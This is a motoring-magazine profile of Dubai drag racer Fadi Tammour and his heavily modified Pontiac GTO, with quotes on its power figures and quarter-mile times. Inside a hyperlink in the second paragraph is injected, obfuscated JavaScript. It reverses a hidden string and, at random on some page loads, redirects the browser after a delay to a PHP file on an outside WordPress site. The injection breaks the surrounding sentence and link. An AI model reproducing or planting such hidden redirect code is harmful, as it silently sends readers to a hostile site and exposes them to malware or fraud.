Pontiac GTO. 700+hp. Dubai, UAE. Meet Fadi Tammour

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“Fadi?” This particular question has been asked so many times now by our illustrious Phil McGovern that the lengthier “when are we going to see the Fadi Tammour piece, and what the hell’s taking so long?” version is no longer required.

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But this isn’t just bone idleness on my part. For starters, the aforementioned Mr Tammour has already made his crankandpiston bow, last year with $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/fadi-tammour-yas-marina-drag-school-prodigy-4-80-winner/” target=”_blank”>a 4.8s run in a three-seater dragster at the Yas Marina Dragstrip. Secondly, the subject at hand is a 6.5l V8 Pontiac GTO boasting – and I quote – “780hp on pump petrol, 810-815hp on race fuel and – with a few extra mods – capable of over 1000hp”. You don’t really want to rush a piece when you’re dealing with figures like that.

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Put simply, quarter mile sprints are kind of Fadi’s thing, and have been for many years. So in early-2005, he set about developing his own sub-10s drag monster from, curiously, a standard family coupe. Just two months ago though he took that same GTO to a quarter mile from standstill at the Yas Marina Dragstrip in a staggering 9.825s.

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“There’s around 50,000 cars in the USA at a similar performance level to mine. When I did my 9.9s run, I went to 127^th overall. Then I did 9.8s, and I was 8^th.”

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I caught up with Fadi recently at his workshop in Al Quoz, Dubai. Even though he was working furiously to get his GTO – the affectionately named ‘Lulu’ – ready for a concourse event that same evening, he’s all smiles and friendly handshakes when I arrive, very excited to show off his prized possession.

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“I love V8s,’ explains Fadi. “So when I started work, it was between either this or a Mustang. And as soon as I started driving this car, I thought ‘there’s so much potential’. People kept saying, “it’s a coupe car, and you need a proper sportscar”. But I though to modify a GTO wouldn’t cost that much, since the cars come from the factory de-tuned and it could give a huge amount of power.”

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He’s not kidding. The not-undersized V8 started life with 300hp give or take, but a mod here and a tweak there saw it shoot past the 600hp mark in no time. And the further Fadi ventured down this road, the more engrossed he became.

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Now past the point of no return, Fadi’s developments kicked up a pace. The bonnet is thrown open, and we spend a great deal of time ‘huh’ing at this and ‘ah’ing at that, the modifications seemingly endless. And Fadi’s well-versed in what’s what, having done all the grunt work himself.